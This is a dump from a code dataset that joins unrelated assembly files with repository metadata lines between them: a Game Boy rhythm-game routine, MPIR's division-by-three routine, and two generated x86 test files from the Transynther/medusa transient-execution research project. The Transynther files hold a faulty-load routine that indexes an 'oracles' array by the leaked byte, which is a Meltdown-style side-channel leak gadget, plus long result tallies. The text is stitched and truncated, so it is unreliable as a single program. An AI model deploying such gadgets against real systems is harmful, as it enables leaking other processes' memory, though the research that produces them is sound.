SECTION "Skater Dude Obstacle Cue", ROMX xCueObstacle:: ; Create a random type of obstacle call Random ASSERT OBSTACLE_COUNT == 3 and a, 3 cp a, OBSTACLE_COUNT jr c, .obstacleOk ; Cars would realistically be more common on the road, so go with ; that ASSERT ACTOR_CAR - ACTOR_OBSTACLES_START == 0 xor a, a .obstacleOk ; Get pointer to the actor definition ld b, a add a, a ; a * 2 (X, Y) add a, a ; a * 4 (X speed, Y speed) add a, b ; a * 5 (Type) ASSERT BANK(xObstacleDefinitions) == BANK(@) add a, LOW(xObstacleDefinitions) ld e, a ASSERT HIGH(xObstacleDefinitions.end - 1) == HIGH(xObstacleDefinitions) ld d, HIGH(xObstacleDefinitions) jp ActorNew xObstacleDefinitions: ; Car DB ACTOR_CAR DB OBSTACLE_X, OBSTACLE_Y DB OBSTACLE_SPEED, 0 ; Log DB ACTOR_LOG DB OBSTACLE_X, OBSTACLE_Y DB OBSTACLE_SPEED, 0 ; Oil Barrel DB ACTOR_OIL_BARREL DB OBSTACLE_X, OBSTACLE_Y DB OBSTACLE_SPEED, 0 .end SECTION "Skater Dude Slo-Mo Cue", ROMX xCueSloMo:: ; Start slo-mo ld a, SKATER_DUDE_SLO_MO_DURATION ldh [hSloMoCountdown], a ret SECTION "Skater Dude Actor", ROMX xActorSkaterDude:: ; Game hasn't started yet -> skate on-screen ldh a, [hSkaterDudeState] ASSERT SKATER_DUDE_STATE_IN == 0 and a, a jp z, .skatingOnscreen ; Currently skating off-screen ASSERT SKATER_DUDE_STATE_OUT == 1 dec a ; Nothing to do while skating out jp z, .skatingOffscreen ; Music ended -> skate off-screen ld a, [wMusicSyncData] ASSERT SYNC_SKATER_DUDE_END == 1 dec a jp z, .skateOffscreen ; If Skater Dude isn't on the ground (fallen), he should be "moving" ; The background scrolls so to "move", Skater Dude must stay in ; place ld hl, wActorCelOverrideTable add hl, bc ld a, [hl] ASSERT ANIMATION_OVERRIDE_NONE == -1 inc a ; No animation override -> skating animation jr z, .moving ; Add 1 to compensate for inc cp a, CEL_SKATER_DUDE_FALLING + 1 jr nc, .updateJump .moving ; Skater Dude is either skating or jumping -> "move" ld hl, wActorXSpeedTable add hl, bc ld [hl], 0 ; Make sure the position is correct after falling ld hl, wActorXPosTable add hl, bc ld [hl], SKATER_DUDE_X .updateJump ; If Skater Dude is currently jumping, update his Y position ldh a, [hSkaterDudePosIndex] inc a jr z, .notJumping ; If not currently in slo-mo, the countdown works a little ; differently ldh a, [hSloMoCountdown] ASSERT SKATER_DUDE_NO_SLO_MO == -1 inc a jr nz, .sloMo ; In not in slo-mo, subtract the denominator of slo-mo speed instead ; of 1 (denominator in normal speed) ldh a, [hSkaterDudePosCountdown] sub a, SKATER_DUDE_SLO_MO_DIVIDE ldh [hSkaterDudePosCountdown], a ; If less than or equal to 0, update Skater Dude's position jr z, .jumping jr nc, .notJumping jr .jumping .sloMo ; In slo-mo, simply decrement the countdown ld hl, hSkaterDudePosCountdown dec [hl] jr nz, .notJumping .jumping ; Skater Dude is jumping and it is time to change his Y position ; Update the position table index ld hl, hSkaterDudePosIndex inc [hl] ; Find the new Y position ld a, [hl] add a, a ; a * 2 (Position, Duration) add a, LOW(xJumpPositionTable) ld l, a ASSERT HIGH(xJumpPositionTable.end - 1) == HIGH(xJumpPositionTable) ld h, HIGH(xJumpPositionTable) ; Get the new Y position ld a, [hli] ; a = Y position ; 0 signals the end of the table and a, a jr z, .finishedJumping ld e, [hl] ; e = duration ; Set the new Y position ld hl, wActorYPosTable add hl, bc ld [hl], a ; Set the countdown to the new duration ld a, e ldh [hSkaterDudePosCountdown], a jr .notJumping .finishedJumping ; Set the position table index to -1 to signal not jumping ; a = 0 dec a ldh [hSkaterDudePosIndex], a .notJumping ; Check if the player pressed the jump button ldh a, [hNewKeys] bit PADB_A, a jr z, .noJump ; Player pressed the A button -> jump xor a, a ldh [hSkaterDudePosIndex], a ; Set countdown to 1 to update next frame inc a ldh [hSkaterDudePosCountdown], a ; Depending on the hit rating, play the appropriate sound effect ldh a, [hLastHitRating] ASSERT HIT_BAD < HIT_OK && HIT_PERFECT > HIT_OK sub a, HIT_OK + 1 ; If Bad or OK, play the wonky jump sound effect ld a, SFX_SKATER_DUDE_JUMP_OK jr c, .notPerfect ; If Perfect, play the normal jump sound effect ASSERT SFX_SKATER_DUDE_JUMP_PERFECT == SFX_SKATER_DUDE_JUMP_OK + 1 inc a .notPerfect ld b, a ; b = SFX ID call SFX_Play ASSERT HIGH(MAX_ACTOR_COUNT) == HIGH(0) ld b, 0 .noSFX ld a, CEL_SKATER_DUDE_JUMPING jp ActorSetAnimationOverride .noJump ; If the player missed this hit (is late enough), they get hit by ; the obstacle ldh a, [hLastHit.low] cp a, HIT_MISS_DELAY ret nz ldh a, [hLastHit.high] ASSERT HIGH(HIT_MISS_DELAY) == 0 and a, a ret nz ; It's late enough, but did the player already jump successfully (OK ; or Perfect hit)? ldh a, [hNextHitNumber] ld e, a ldh a, [hLastRatedHitNumber] inc a ; Comparing with next hit number cp a, e ; The player already made this hit -> they're not late ret nc ; The player missed the hit ld b, SFX_SKATER_DUDE_FALL call SFX_Play ASSERT HIGH(MAX_ACTOR_COUNT) == HIGH(0) ld b, 0 ; End slo-mo ld a, SKATER_DUDE_NO_SLO_MO ldh [hSloMoCountdown], a ; "Stop" moving ; The background normally scrolls with Skater Dude in place, making ; it look like he's the one moving. Since he shouldn't be moving, ; move him in the opposite direction the background is moving. ld hl, wActorXSpeedTable add hl, bc ; Background scrolls 1 pixel per frame ld [hl], 1 << 3 ; Reset Skater Dude's position for the event of consecutive misses ld hl, wActorXPosTable add hl, bc ld [hl], SKATER_DUDE_X ; Start the falling animation ld a, CEL_SKATER_DUDE_FALLING jp ActorSetAnimationOverride .skatingOnscreen ; Check if Skater Dude has reached his normal position ld hl, wActorXPosTable add hl, bc ld a, [hl] ; Speed is slow enough to simply check for the exact position ASSERT SKATER_DUDE_IN_SPEED < 0 && SKATER_DUDE_IN_SPEED >> 3 == -1 cp a, SKATER_DUDE_X jp nz, .updateJump ; Skater Dude has reached his normal position ASSERT SKATER_DUDE_X >= SKATER_DUDE_STATE_COUNT ; State = normal Skater Dude function ldh [hSkaterDudeState], a jp .updateJump .skateOffscreen ld hl, wActorXSpeedTable add hl, bc ld [hl], SKATER_DUDE_OUT_SPEED ld a, SKATER_DUDE_STATE_OUT ldh [hSkaterDudeState], a jp .updateJump .skatingOffscreen ; Check if Skater Dude is finished skating off-screen ld hl, wActorXPosTable add hl, bc ld a, [hl] ; Can check for end position with sign bit ASSERT SKATER_DUDE_END_X < 0 ; Normal position is not negative in two's complement ASSERT SKATER_DUDE_X & (1 << 7) == 0 add a, a ; Move bit 7 to carry ; Not negative (end position is) -> not there yet jp nc, .updateJump ; Add 1 to check for > instead of >=, shifted to compensate for ; double (add a, a) cp a, (SKATER_DUDE_END_X + 1) << 1 jp nc, .updateJump ; Game is over ld a, SKATER_DUDE_STATE_END ldh [hSkaterDudeState], a jp .updateJump xJumpPositionTable: DB SKATER_DUDE_Y - SKATER_DUDE_JUMP_HEIGHT * 1/3, 1 DB SKATER_DUDE_Y - SKATER_DUDE_JUMP_HEIGHT * 2/3, 1 DB SKATER_DUDE_Y - SKATER_DUDE_JUMP_HEIGHT, (MUSIC_SKATER_DUDE_SPEED * 4) - (1 + 1 + 1) * 2 DB SKATER_DUDE_Y - SKATER_DUDE_JUMP_HEIGHT * 2/3, 1 DB SKATER_DUDE_Y - SKATER_DUDE_JUMP_HEIGHT * 1/3, 1 DB SKATER_DUDE_Y, 1 DB 0 .end SECTION "Skater Dude Obstacle Actor", ROMX xActorObstacle:: ld hl, wActorXSpeedTable add hl, bc ; Check if slo-mo status has changed ldh a, [hSloMoCountdown] ASSERT SKATER_DUDE_NO_SLO_MO == -1 inc a jr z, .noSloMo ; Check if slo-mo just started ; Add 1 to compensate for the inc cp a, SKATER_DUDE_SLO_MO_DURATION + 1 jr c, .noChange ; In slo-mo -> move slowly ld [hl], OBSTACLE_SLO_MO_SPEED ; Use slower animation ld a, CEL_OBSTACLE_SLO_MO call ActorSetAnimationOverride jr .noChange .noSloMo ; No longer in slo-mo -> move at the regular speed ld [hl], OBSTACLE_SPEED ; Return to the fast animation ld hl, wActorCelOverrideTable add hl, bc ld [hl], ANIMATION_OVERRIDE_NONE .noChange ; Check if the obstacle has gone off-screen ld hl, wActorXPosTable add hl, bc ld a, [hl] ; Check if the obstacle has not yet come on-screen ASSERT LOW(OBSTACLE_X) & (1 << 7) && LOW(SCRN_X) & (1 << 7) ASSERT LOW(SCRN_X) < LOW(OBSTACLE_X) cp a, OBSTACLE_X ; Haven't come on-screen yet, nothing to do ret nc ; Check if the obstacle has gone past the right edge of the screen cp a, SCRN_X ; Still on-screen, nothing to do ret c ; Kill this obstacle jp ActorKill
28.324786
111
0.601199
41eaa07eea1e872576416d4f34a32e64a74420e8
7,878
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xd557, %rsi lea addresses_normal_ht+0x135d7, %rdi nop nop dec %rdx mov $114, %rcx rep movsw cmp %rbp, %rbp lea addresses_D_ht+0x2ab7, %rsi lea addresses_A_ht+0x168f5, %rdi clflush (%rdi) nop add $33097, %rbp mov $38, %rcx rep movsq nop add $46939, %rsi lea addresses_A_ht+0x7d7, %rbx clflush (%rbx) add %rcx, %rcx vmovups (%rbx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbp nop nop nop and $636, %rbp lea addresses_WC_ht+0xf787, %rbx nop sub %rsi, %rsi movb $0x61, (%rbx) nop nop nop nop nop sub %rbp, %rbp lea addresses_D_ht+0x4357, %rcx nop nop nop nop nop sub $52471, %r11 mov $0x6162636465666768, %rbp movq %rbp, (%rcx) nop nop nop nop nop xor $29824, %rcx lea addresses_normal_ht+0x275b, %r11 clflush (%r11) add $11406, %rcx movups (%r11), %xmm6 vpextrq $1, %xmm6, %rsi nop nop nop nop add $32890, %rsi lea addresses_WC_ht+0xcb67, %r11 nop nop nop nop add %rcx, %rcx vmovups (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdx xor $53155, %rbx lea addresses_WC_ht+0x66f7, %rsi lea addresses_WT_ht+0x8b73, %rdi add $62149, %r9 mov $111, %rcx rep movsq nop nop nop nop sub $21760, %rdi lea addresses_A_ht+0xee57, %rsi lea addresses_D_ht+0x1ba67, %rdi nop nop cmp $37363, %r11 mov $78, %rcx rep movsq nop mfence lea addresses_A_ht+0x7597, %rsi lea addresses_WT_ht+0x134cf, %rdi nop cmp %r9, %r9 mov $86, %rcx rep movsb nop nop nop nop nop add $4708, %rcx lea addresses_D_ht+0xe857, %r9 nop and $55099, %rsi mov (%r9), %edi nop nop nop xor $27008, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WT+0x1f87, %r9 nop nop and %rbx, %rbx movb $0x51, (%r9) nop nop nop sub %rdi, %rdi // Store lea addresses_WC+0x18357, %rbx nop nop nop inc %rsi mov $0x5152535455565758, %rcx movq %rcx, %xmm2 vmovups %ymm2, (%rbx) nop and %rdi, %rdi // Store mov $0xb57, %rbx clflush (%rbx) nop sub $24171, %r8 mov $0x5152535455565758, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%rbx) nop nop nop nop nop add %r15, %r15 // Store lea addresses_UC+0x951b, %r8 cmp $38212, %rbx movl $0x51525354, (%r8) nop nop nop nop nop add %r9, %r9 // Faulty Load lea addresses_RW+0x2d57, %r9 nop nop nop dec %rsi mov (%r9), %cx lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
33.381356
2,999
0.654608
855de6a295dc4d82c405e94a12815df417c0ac7c
2,617
asm
Assembly
externals/mpir-3.0.0/mpn/x86_64w/divexact_by3c.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86_64w/divexact_by3c.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86_64w/divexact_by3c.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
; PROLOGUE(mpn_divexact_by3c) ; Version 1.0.4. ; ; Copyright 2008 Jason Moxham and Brian Gladman ; ; This file is part of the MPIR Library. ; The MPIR Library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as published ; by the Free Software Foundation; either version 2.1 of the License, or (at ; your option) any later version. ; The MPIR Library is distributed in the hope that it will be useful, but ; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public ; License for more details. ; You should have received a copy of the GNU Lesser General Public License ; along with the MPIR Library; see the file COPYING.LIB. If not, write ; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, ; Boston, MA 02110-1301, USA. ; ; mp_limb_t mpn_divexact_by3c(mp_ptr, mp_ptr, mp_size_t, mp_limb_t) ; mp_limb_t mpn_divexact_by3(mp_ptr, mp_ptr, mp_size_t) ; rax rdi rsi rdx rcx ; rax rcx rdx r8 r9 %include "yasm_mac.inc" BITS 64 %define MLT1 0x5555555555555555 xalign 16 LEAF_PROC mpn_divexact_by3c mov rax, r8 mov r8, MLT1 imul r9, r8 jmp entry xalign 16 LEAF_PROC mpn_divexact_by3 mov rax, r8 mov r8, MLT1 xor r9, r9 entry: lea r10, [rdx+rax*8-24] lea r11, [rcx+rax*8-24] mov ecx, 3 sub rcx, rax jnc .2 xalign 16 .1: mov rax, [r10+rcx*8] mul r8 sub r9, rax mov [r11+rcx*8], r9 sbb r9, rdx mov rax, [r10+rcx*8+8] mul r8 sub r9, rax mov [r11+rcx*8+8], r9 sbb r9, rdx mov rax, [r10+rcx*8+16] mul r8 sub r9, rax mov [r11+rcx*8+16], r9 sbb r9, rdx mov rax, [r10+rcx*8+24] mul r8 sub r9, rax mov [r11+rcx*8+24], r9 sbb r9, rdx add rcx, 4 jnc .1 .2: test rcx, 2 jnz .3 mov rax, [r10+rcx*8] mul r8 sub r9, rax mov [r11+rcx*8], r9 sbb r9, rdx mov rax, [r10+rcx*8+8] mul r8 sub r9, rax mov [r11+rcx*8+8], r9 sbb r9, rdx add rcx, 2 .3: test rcx, 1 jnz .4 mov rax, [r10+rcx*8] mul r8 sub r9, rax mov [r11+rcx*8], r9 sbb r9, rdx .4: lea rax, [r9+r9*2] neg rax ret end
26.17
77
0.560566
69380a14f7b137b9edc87789310426dc630148a1
6,567
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0x84_notsx.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0x84_notsx.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_/i3-7100_9_0x84_notsx.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1e25d, %rsi lea addresses_WT_ht+0x1aa5d, %rdi nop nop nop nop xor %r15, %r15 mov $1, %rcx rep movsw nop nop nop add %r12, %r12 lea addresses_WT_ht+0x1c8df, %r10 nop xor $15744, %r9 movw $0x6162, (%r10) nop nop nop inc %rcx lea addresses_A_ht+0xb655, %r10 nop nop nop nop cmp $10288, %rsi movb (%r10), %r12b nop nop nop nop xor $8605, %r12 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %rcx push %rdi push %rsi // Load lea addresses_PSE+0x103d, %rdi and %r15, %r15 vmovups (%rdi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rsi inc %rsi // REPMOV lea addresses_normal+0x1945d, %rsi lea addresses_D+0x88dd, %rdi clflush (%rdi) xor %r14, %r14 mov $11, %rcx rep movsl nop nop nop dec %r10 // Load lea addresses_UC+0xac5d, %rsi and $26377, %rdi mov (%rsi), %r14 nop nop nop and $26352, %rsi // Store lea addresses_UC+0x9181, %r8 nop nop nop nop sub $7436, %r10 movl $0x51525354, (%r8) nop nop nop nop nop sub $32619, %rdi // Store lea addresses_D+0x1a65d, %rsi nop nop nop nop add %rdi, %rdi movl $0x51525354, (%rsi) nop nop cmp %r8, %r8 // Store lea addresses_PSE+0x1465d, %r14 nop nop cmp $505, %r15 movw $0x5152, (%r14) nop nop add %r10, %r10 // Store lea addresses_WC+0xf97d, %rcx nop nop inc %r8 movb $0x51, (%rcx) nop nop nop nop nop dec %r8 // Store lea addresses_UC+0x1b65d, %rdi nop xor %r8, %r8 movl $0x51525354, (%rdi) add $35595, %rdi // Faulty Load lea addresses_A+0x10e5d, %r15 nop nop nop nop add %r14, %r14 movb (%r15), %r8b lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 1, '35': 21828} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 